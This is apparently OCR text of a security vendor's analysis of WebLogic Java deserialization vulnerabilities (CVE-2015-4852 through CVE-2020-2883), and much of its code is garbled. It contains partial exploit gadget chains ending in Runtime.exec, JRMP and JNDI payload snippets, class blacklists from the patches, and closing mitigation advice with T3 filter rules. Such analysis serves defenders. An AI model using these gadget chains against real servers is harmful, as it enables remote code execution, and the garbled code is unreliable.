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CVE-2015-4852

org.apache.commons.collections
java Java

TransformedMap

10.3.6.0 12.1.2.0 12.1.3 12.2.1

weblogic Apache Commons Collections
Commons Collections , T3
,WebLogic ,Java
readObject , WebLogic Commons
Collections , T3 RCE

ysoserial CommonsCollectionsl
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SRl AL e

rer,RPuntime Alass) e o oo

g, New—Clasoill] {Obdectecl aiSs,Tect| | «Ca aiSShy — new InvokerTransformer( /o
new Object[]{null, new Object[0]}),

Pyl

g pfe————

ons/Calculator.app"})}; /Applicati
‘ansformer transformerChain = new ChainedTransformer(transformers); Tr
p innerMap = new HashMap(); Ma
p lazyMap = LazyMap.decorate(innerMap, transformerChain); Ma
ass.rla.= Class forNamelloun veflaect snnotation, AnnokationTnuccationHandler! = (el
lonstructor ctor = cls.getDeclaredConstructoriClass.class. Mapn.class):, . (c
ctor.setAccessible(true);
InvocationHandler invo = (InvocationHandler)ctor.newInstance(Retention.class,
) ; lazyMag

AnnotationlInvocationHandler.readObject

InvokerTransformer.transform ,

Runtime.getRuntime().exec

weblogic ClassFilter

resolveClass

ClassFilter

org.apache.commons.collections.functors. *
com.sun.org.apache.xalan.internal.xsltc.trax.*
javassist.*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler

org.codehaus.groovy.runtime.MethodClosure

weblogic.rjvm. InboundMsgAbbrev.class: :ServerChannelInputStream
wehloaic. rivm_ MaaAbhhrevinontStyeam clage o,

.iiop.Utils.class . _
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CVE-2016-0638

StreamMessage Impl InputStream
ServerChannel InputStream

MsgAbbrevinputStream readExternal ,

10.3.6 12.1.2 12.1.3 12.2.1

StreamMessagelmpl readExternal
(ObjectInputStream)var5.readObject,varb ,
Commons Collections StreamMessage Impl

StreamMessagelmpl.readExternal ,

StreamMessage Impl
StreamMessagelmpl . readExternal

StreamMessagelImpl readexternal
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StreamMessagelImpl readexternal

FilteringObjectinputStream

WebLogicObjectInputFilter.checkLegacyBlacklistlfNeeded
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CVE-2016-3510

CVE-2016-0638 , weblogic ,
MarshalledObject ,

10.3.6 12.1.3 12.2.1

weblogic.corba.utils_MarshalledObject

public Object readResolve() throws IOException, ClassNotFoundException,

ObjectStreamException {
if (this.objBytes == null) {

o

Object var3 = var2.readObject();
var2.close();

return var3;

}
CommonsCol lections MarshalledObject
objBytes , ,weblogic
FilteringObjectlnputStream.resolveClass
MarshalledObject

public Object readResolve() throws IOException, ClassNotFoundException,
ObjectStreamException {

if (this.objBytes == null) {
return null;

} else {
ByteArrayInputStream varl = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(varl);
Object var3 = var2.readObject();
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MarshalledObject
D —— — Teenl lr M neaeeT00Rmennddere oOd g -slictRe-ndBEcendion, woosmso o Ol ImuE

ObjectStreamException {
if (this.objBytes == null) {

CVE-2017-3248

JRMP payload

10.3.6.0 12.1.3.0 12.2.1.0 12.2.1.1

weblogic JRMP , weblogic
JRMP ,
ysoserial JRMP

20



WebLogic

ObjID id = new ObjID(new Random().nextInt());
TTICringpoint: te = reW ICrEnapsint (nést;=pott);

A

public UnicastRemoteObject getObject(final String command) throws Exception {

S aa R 0] I Uy e

UnicastRemoteObject uro =

Remata0biect. class,.new Class[] -RBeflections.cxeatsWithCanstrnctar(dctivationGrounimnl..class, 1

{
RemoteRef.class
}, new Object[]{
new UnicastServerRef (jrmpPort)
)i
) .set(uro, rmpPort): Reflections.getField(UnicastRemoteQbiect.class. "port'
weblogic resolveProxyClass

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException,
ClassNotFoundException {
“tring[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];

ifrintf.eemals("dava.rmi.recistrv.Reaigtru’\_L

g @

xyv_deserializatiop®): throw new TnvalidObhiectExcention( IInanthorized nrp

Registry

CVE-2018-2628

JRMP Registry CVE-2017-3248

21
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10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3

CVE-2017-3248 , CVE-2017-3248 JRMP
Registry ,
, payload
public Object getObject ( final String command ) throws Exception {
String host;
int port;
fob o= — mmmmmmd indomOf e e s R B e A
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
Oy nart = Tntecer yalnanf(commard, sohetrina (SaDcde Jabd ey o
}
// RMI registry ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint{host, port);
te. falged):. . .., ., UnicastRef ref = new linicastRef(new LiveRef(id,

return ref;

StreamMessageImpl+JRMP Client

java.rmi.activation.Activator jJava.rmi.registry.Registry

org.springframework.transaction.support.AbstractPlatformTransactionManager

sun.rmi.server.UnicastRef

, RemoteObjectInvocationHandler RemoteObject

RemoteObject.readObject ref.readexternal ()

ref UnicastRef

22
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CVE-2018-2893

CVE-2020-2628

10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3

CVE-2020-2628 ,

java.rmi.activation.*
sun.rmi.server. *
java.rmi.server.UnicastRemoteObject

java.rmi.server.RemoteObijectInvocationHandler

RemoteObjectInvocationHandler

,CVE-2020-2628

CVE-2018-3191

JNDI ,
com._bea.core.repackaged.springframework.transaction.jta.JtaTransactio
nManager, JtaTransactionManager ,

package

10.3.6.0 12.1.3.0 12.2.1.3

23
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com.bea.core.repackaged.springframework.transaction.jta.JtaTransactio
nManager JNDI , JNDI T3

,payload

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();

jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");

JtaTransactionManager readObject

initUserTransactionAndTransactionManager

mrnbasbad end d Gisdddinaan P vuies hilnn AR e et L R ME RA IRt de o LRG| 7)) L AIOwWS

lookupUserTransaction

—hrews Tt -t 7 e - Paeneerd tekbr ) Fetl et U ohms tTE g AR T e I T (ST INg  USR T SN S a0 T DeRNEaTe

Transaetdonfysientreeption. £

S G R e e =i et ma: SRR m e TA Ton s Lad e et SRR v ST
—— . HNearProanc ank i ilrss s
JNDI , userTransactionName

RMI

com.bea,core.repackaged.sprinagframework.transaction.support.AbstractPlatformTransactionManag, _
er

java.rmi.server.RemoteObject
java.rmi.activation.*

sun.rmi.server.*

24
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AbstractPlatformTransactionManager JtaTransactionManager

resolveClass super.resolveClass

JtaTransactionManager

java.rmi.server.RemoteObject CVE-2018-3245

CVE-2018-3245

weblogic. jrmp.Registrylmpl_Stub JRMP ,

CVE-2017-3248

10.3.6.0 12.1.3.0 12.2.1.3

CVE-2017-3248 ,
jJava.rmi.server.RemoteObjectlInvocationHandler

RemoteObjectInvocationHandler

RemoteObjectlinvocationHandler RemoteObject ,

RemoteObject.readObject ref.readexternal () , ref

UnicastRef ,

RemoteObject

DN R eeracsinetro o Abidy . ool

Sosco s RESISOIBARE IS Tl

com.sun.jndi.rmi.registry.ReferenceWrapper_ Stub

weblogic.jrmp.RegistryImpl Stub

iavax.manadement.remote.rmi.RMIServerImol Stub _ .
weblogic.jrmp.RegistryImpl_ Stub

—_ _sun.rmi.transport.DGCImnl Stub =

25
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java.rmi.server
java.rmi.server.RemoteObject

RemoteObjectlInvocationHandler

CVE-2019-2890

2016
readObject

.RemoteStub, RemoteStub

(ObjectInputStream)var5.readObject()

10.3.6.0

26
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nrivate void readsSnhiectiObiectInontStream wardd L. ooy

try {
int var2 = varl.readInt();

byte[ Jnvar3 = new byte[var2];
varl.readFully(var3);
if (KernelStatus.isServer()) {

var3 = EncryptionUtil.decrypt(var3);

ByteArrayInputStream var4 = new ByteArrayInputStream(wvar3);

(R S, g o S e O R R TN e [ )i PR o ST 11 (s A o

thic . cuhioot = LAuthantiactadephiackt spab  eandihdackls o

readSubject EncryptionUtil.decrypt ,

writeSubject

—nrivate woid writeSpbject/ObisctOutoutStyeam warl) throws JOEvgention_L .o oonewrprncn, -

ByteArrayOutputStream var2 = new ByteArrayOutputStream();
ObjectOutputStream var3 = new ObjectOutputStream(var2);

iet)) { if (SubjectManager.getSubjectManager().isKernelIdentity(this._ subje

AuthenticatedSubject var4 = (AuthenticatedSubject)

2 23 =

var3.writeObject buffer_data poc ,

PersistentContext
2016 s
FilteringObjectinputStream

27
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Lt e e T e T e e S O T T L T T T GRS e

! = new j inZ
| ObjectInputStream in
Frtoh 8\ R B il i i . SRR Raxainbamd fontaut HERIltarinsOhdic

CVE-2020-2551

WebLogic T3 110P ,

110P

10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4

110P , 110P
weblogic :

ekl anigo piim ITrbovpdissdbhray, aleegs  Soxponthareal Trenh S YoM poge - s

weblogic.rjvm.MsgAbbrevInputStream.class

wahlnoic. 3don . IThile claes Lo e e b e s

110P T3 , 110P

JtaTransactionManager CVE-2018-3245 110P
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T3

CVE-2020-2555

weblogic Oracle Coherence
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DAFTAqkd

—A88 VU _ ¥ 1 . i
)i
// get invoke() to execute exec()
lectionExtractor( ReflectionExtractor extractor2 = new Ref
R R R 701 SN —
yject[01]} new Object[]{null, new Ok

)

// invoke('exec",'calc")

DR eE AN LeNTSEr T 2RS0T b e S I DoflantdanBogh 000N SRR
"exec",
= oo oy
)i
ctor[] extractors = { ReflectionExtra
orl, extract
or2, extract
.or3, extract
}i
r chainedExtractor = new ChainedExtractor (extractors); ChainedExtractc
IitFilter = new LimitFilter(); LimitFilter lim

//m_comparator

tor = limitFilter.getClass().getDeclaredField("m comparator"); Field m_compara
tAccessible(true); m_comparator.se
t(limitFilter, chainedExtractor); m_comparator.se

//m_oAnchorTop
kTR =L 1l S STSTISC aredls - == — B

BadAttributeValueExpException readObject val .toString,

LimitFilter tostring
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rhlic QFving +ASkvinea/ VS L L L

R —L A A WfliE:
ringBuilder("LimitFilter:—( ")y StringBuilder sb-= new St
risamnaendll InacaSizezl) annend(Ehis m o cPageSizal) annendl . e o sh=annend(Ehis<m, filie

\ e e ATerm WA

B

ValueExtractor ,
this.m_comparator extract this.m_oAnchorTop extract
, this.m_comparator ChainedExtractor
ChainedExtractor.extract ,this.m_oAnchorTop Runtime.class

kT i~ Ahdans Asbraar (gl
k.t

.

return oTarget;

this.getExtractors()

public A ractCombositeExtractor(ValueExtractorl] aExtractar) I

=

this.m_aExtractor, this.m_aExtractor

’ poc extractors

31
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ReflectionExtractor extractorl = new ReflectionExtractor(

"getMethod",

)i
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",

new Object[]{null, new Object[0]}

)i
RoaflogtinnExtrackor-extractor. = new-PaflockinnEvirachborl - o m—

ReflectionExtractor.extractor

public Object extract(Object oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();

try {
Method method = this.m methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz,
this.getMethodName(), this.getClassArray(), false);
}

return method.invoke(oTarget, this.m aoParam);
EE - :

throw new. RuntimeRvocention(this enaneetBEytractFailurofancelalz))e. . .

} catch (Exception var5) {

e TR theors opaamaRuntipaTracesieniionsh .

sTet¥ema(dahatlie Lo

ChainedExtractor+ReflectionExtractor CommonsCol lectionsl

ChainedTransformer+InvokerTransformer ,

32
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* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke ()
* ..
* Runtime.getRuntime.exec()

Oracle 1 1 ,
LimitFilter tostring

tostring

public String toString() {

tostring

public String toString() {

- fesoooncearecs Bdian” magls o i BEGA

sk.apperdithis:m_filter}-append{” {pageSize="j-appendithis.m o

bR e T S IR R R e g

PagsSize)append{’;
pageNum=") .append(this.m_nPage);
if (this.m_comparator != null) {
sb.append(", top=").append(this.m oAnchorTop).append(",

R e BTG el =S R e e R AR e R R T A

sb.append("])");
return sb.toString();

extractor
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CVE-2020-2883

CVE CVE

34



A AlE

WebLogic

_public int compare(Qbiect ol. Obiect 02) {

Comnarahl gy ddweges{ Some 2 2 bla Webdhe Me 03 X2 oh .

Comparable a2 = (Comparable)this.m extractor.extract(o2);
if (al == null) {
return a2 == null ? 0 : -1;
} else {
return a2 == null ? 1 : al.compareTo(a2);
}
}
PriorityQueue compare

private void readObject(java.io.ObjectInputStream s)

heapify();

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)

siftDown(i, (E) queue[i]); -

private void siftDown(int k, E x) {

YIT ' (cOmMPAYATOr F=nu__)
siftDownlUsinaComnarator(lk . x\V= .

else

T T sITTooWnNGEGMNEraD el KL o

}
private void siftDownUsingComparator(int k, E x) {
while (k < half) {
if (right < size &&
— = — — = = = e T I A e SIS AT e 9 W

T g = cduRl ot 6 = Flogm.o. =
}
queue[k] = x;

}
comparator ExtractorComparator

ExtractorComparator.compare , CVE-2020-2555 ,
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* gadget:
* PriorityQueue.readObject ()
*
& ExtractorComparator.compare()
* ChainedExtractor.extract()

* Runtime.agetRuntime.exec()

java.lang.Runtime
com.tangosol.coherence.rest.util.extractor.MvelExtractor ______ S R -

__________ S

B T2 L A SO T I

SRR B

ReflectionExtractor poc ,MvelExtractor
CVE-2020-2915 , PriorityQueue+MvelExtractor
, CVE
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4.1

WebLogic T3 1I0P , WebLogic
, JAVA readObject

, WebLogic jar, ,WebLogic

WebLogic ,
WebLogic lib , WebLogic 10.3.6 481
jar, WebLogic jar
WebLogic ’

s ClassFilter ,

POC

4.2

T3 110P ,

1 WebLogic base_domain “ ”

weblogic.security.net.ConnectionFilterimpl
127.0.0.1 * * allow t3 t3s 0.0.0.0/0 * * deny t3 t3s
t3 13s
3 Weblogic “ "o-
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oracle

oracle

https://www.oracle.com/security-alerts/#SecurityAlerts

TopWAF  ToplDP

) 7 X
24 :400-777-0777 WEB
TopWAF TopIDP
TopWAF Sglmap,AWVS,APPScan
Web SQL XSS
WebShel I

Web
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